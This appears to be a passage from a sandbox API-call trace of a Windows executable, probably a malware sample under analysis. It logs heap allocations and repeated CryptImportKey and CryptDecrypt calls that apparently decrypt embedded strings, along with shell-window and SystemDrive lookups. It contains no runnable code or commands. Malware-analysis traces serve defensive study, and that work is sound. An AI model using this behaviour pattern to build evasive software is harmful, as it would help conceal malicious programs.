RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2dde98 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2ddea8 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2ddec8 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2dc7e0 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de180 [0068.064] GetProcessHeap () returned 0x2c0000 [0068.064] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x2dda70 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de1a8 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2dc7b8 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de1b8 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2dda58 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de1c8 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x26) returned 0x2de590 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de1d8 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2de5c0 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de0d8 | out: hHeap=0x2c0000) returned 1 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4) returned 0x2de1e8 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc808 [0068.065] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de0d8) returned 1 [0068.065] CryptDecrypt (in: hKey=0x2de0d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc808, pdwDataLen=0x18f3d8 | out: pbData=0x2dc808, pdwDataLen=0x18f3d8) returned 1 [0068.065] CryptDestroyKey (hKey=0x2de0d8) returned 1 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de1f8 [0068.065] GetProcessHeap () returned 0x2c0000 [0068.065] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2dda88 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc808 | out: hHeap=0x2c0000) returned 1 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4) returned 0x2de208 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc808 [0068.066] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de0d8) returned 1 [0068.066] CryptDecrypt (in: hKey=0x2de0d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc808, pdwDataLen=0x18f3d8 | out: pbData=0x2dc808, pdwDataLen=0x18f3d8) returned 1 [0068.066] CryptDestroyKey (hKey=0x2de0d8) returned 1 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de218 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2dc830 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc808 | out: hHeap=0x2c0000) returned 1 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4) returned 0x2de228 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a0) returned 0x2de5e0 [0068.066] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de0d8) returned 1 [0068.066] CryptDecrypt (in: hKey=0x2de0d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de5e0, pdwDataLen=0x18f3d8 | out: pbData=0x2de5e0, pdwDataLen=0x18f3d8) returned 1 [0068.066] CryptDestroyKey (hKey=0x2de0d8) returned 1 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de238 [0068.066] GetProcessHeap () returned 0x2c0000 [0068.066] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de248 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de258 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de268 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de278 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de288 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de298 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de2a8 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de2b8 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x2ddaa0 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de2c8 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x2ddab8 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de2d8 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x2ddad0 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de2e8 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de2f8 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de308 [0068.067] GetProcessHeap () returned 0x2c0000 [0068.067] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de318 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de328 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de338 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de348 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x6) returned 0x2de358 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de368 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x16) returned 0x2de0d8 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de378 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2ddae8 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de388 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2ddb00 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de398 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de3a8 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de3b8 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de3c8 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.068] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de3d8 [0068.068] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de3e8 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de3f8 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de408 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de418 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de428 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de438 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de448 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de458 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de468 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de478 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de488 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de498 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de4a8 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de4b8 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.069] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa) returned 0x2ddb18 [0068.069] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de4c8 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de4d8 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de4e8 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de4f8 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de508 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de518 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de528 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa) returned 0x2ddb30 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de538 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de548 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de558 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de568 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de578 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de7a0 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.070] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de7b0 [0068.070] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de7c0 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de7d0 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de7e0 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de7f0 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de800 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de810 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de820 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de830 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa) returned 0x2ddb48 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de840 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de850 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de860 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2de0f8 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.071] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de870 [0068.071] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2ddb60 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de880 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2ddb78 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de890 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de8a0 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de8b0 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa) returned 0x2ddb90 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de8c0 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa) returned 0x2ddba8 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de5e0 | out: hHeap=0x2c0000) returned 1 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4) returned 0x2de8d0 [0068.072] GetProcessHeap () returned 0x2c0000 [0068.072] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc0) returned 0x2de5e0 [0068.073] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de118) returned 1 [0068.073] CryptDecrypt (in: hKey=0x2de118, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de5e0, pdwDataLen=0x18f3d8 | out: pbData=0x2de5e0, pdwDataLen=0x18f3d8) returned 1 [0068.073] CryptDestroyKey (hKey=0x2de118) returned 1 [0068.073] GetProcessHeap () returned 0x2c0000 [0068.073] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de8e0 [0068.073] GetProcessHeap () returned 0x2c0000 [0068.073] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x2ddbc0 [0068.073] GetProcessHeap () returned 0x2c0000 [0068.073] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de8f0 [0068.073] GetProcessHeap () returned 0x2c0000 [0068.073] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2ddbd8 [0068.073] GetProcessHeap () returned 0x2c0000 [0068.073] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de900 [0068.073] GetProcessHeap () returned 0x2c0000 [0068.073] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x14) returned 0x2deba0 [0068.396] GetProcessHeap () returned 0x2c0000 [0068.396] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de910 [0068.396] GetProcessHeap () returned 0x2c0000 [0068.396] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x16) returned 0x2debc0 [0068.396] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de920 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc808 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de930 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x22) returned 0x2de118 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de940 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de950 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de960 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2dc858 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de970 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de980 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de990 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8) returned 0x2de9a0 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de5e0 | out: hHeap=0x2c0000) returned 1 [0068.397] GetProcessHeap () returned 0x2c0000 [0068.397] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x24) returned 0x2de148 [0068.397] GetShellWindow () returned 0x100f2 [0068.398] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x419a58 | out: lpdwProcessId=0x419a58) returned 0x458 [0068.398] GetProcessHeap () returned 0x2c0000 [0068.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc8a8 [0068.398] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de5e0) returned 1 [0068.398] CryptDecrypt (in: hKey=0x2de5e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc8a8, pdwDataLen=0x18f3d8 | out: pbData=0x2dc8a8, pdwDataLen=0x18f3d8) returned 1 [0068.398] CryptDestroyKey (hKey=0x2de5e0) returned 1 [0068.398] GetProcessHeap () returned 0x2c0000 [0068.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc8d0 [0068.398] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de5e0) returned 1 [0068.398] CryptDecrypt (in: hKey=0x2de5e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc8d0, pdwDataLen=0x18f3d8 | out: pbData=0x2dc8d0, pdwDataLen=0x18f3d8) returned 1 [0068.398] CryptDestroyKey (hKey=0x2de5e0) returned 1 [0068.398] GetProcessHeap () returned 0x2c0000 [0068.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc8f8 [0068.398] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de5e0) returned 1 [0068.398] CryptDecrypt (in: hKey=0x2de5e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc8f8, pdwDataLen=0x18f3d8 | out: pbData=0x2dc8f8, pdwDataLen=0x18f3d8) returned 1 [0068.398] CryptDestroyKey (hKey=0x2de5e0) returned 1 [0068.398] GetProcessHeap () returned 0x2c0000 [0068.398] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc920 [0068.398] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de5e0) returned 1 [0068.399] CryptDecrypt (in: hKey=0x2de5e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc920, pdwDataLen=0x18f1b4 | out: pbData=0x2dc920, pdwDataLen=0x18f1b4) returned 1 [0068.399] CryptDestroyKey (hKey=0x2de5e0) returned 1 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x60) returned 0x2de5e0 [0068.399] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de648) returned 1 [0068.399] CryptDecrypt (in: hKey=0x2de648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de5e0, pdwDataLen=0x18f1b4 | out: pbData=0x2de5e0, pdwDataLen=0x18f1b4) returned 1 [0068.399] CryptDestroyKey (hKey=0x2de648) returned 1 [0068.399] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc920 | out: hHeap=0x2c0000) returned 1 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x20) returned 0x2dc920 [0068.399] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de648) returned 1 [0068.399] CryptDecrypt (in: hKey=0x2de648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2dc920, pdwDataLen=0x18f1b4 | out: pbData=0x2dc920, pdwDataLen=0x18f1b4) returned 1 [0068.399] CryptDestroyKey (hKey=0x2de648) returned 1 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x60) returned 0x2de648 [0068.399] CryptImportKey (in: hProv=0x2dc228, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d8aac | out: phKey=0x2d8aac*=0x2de6b0) returned 1 [0068.399] CryptDecrypt (in: hKey=0x2de6b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2de648, pdwDataLen=0x18f1b4 | out: pbData=0x2de648, pdwDataLen=0x18f1b4) returned 1 [0068.399] CryptDestroyKey (hKey=0x2de6b0) returned 1 [0068.399] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0068.399] GetProcessHeap () returned 0x2c0000 [0068.399] HeapFree (in: hHeap=0x2c0000, 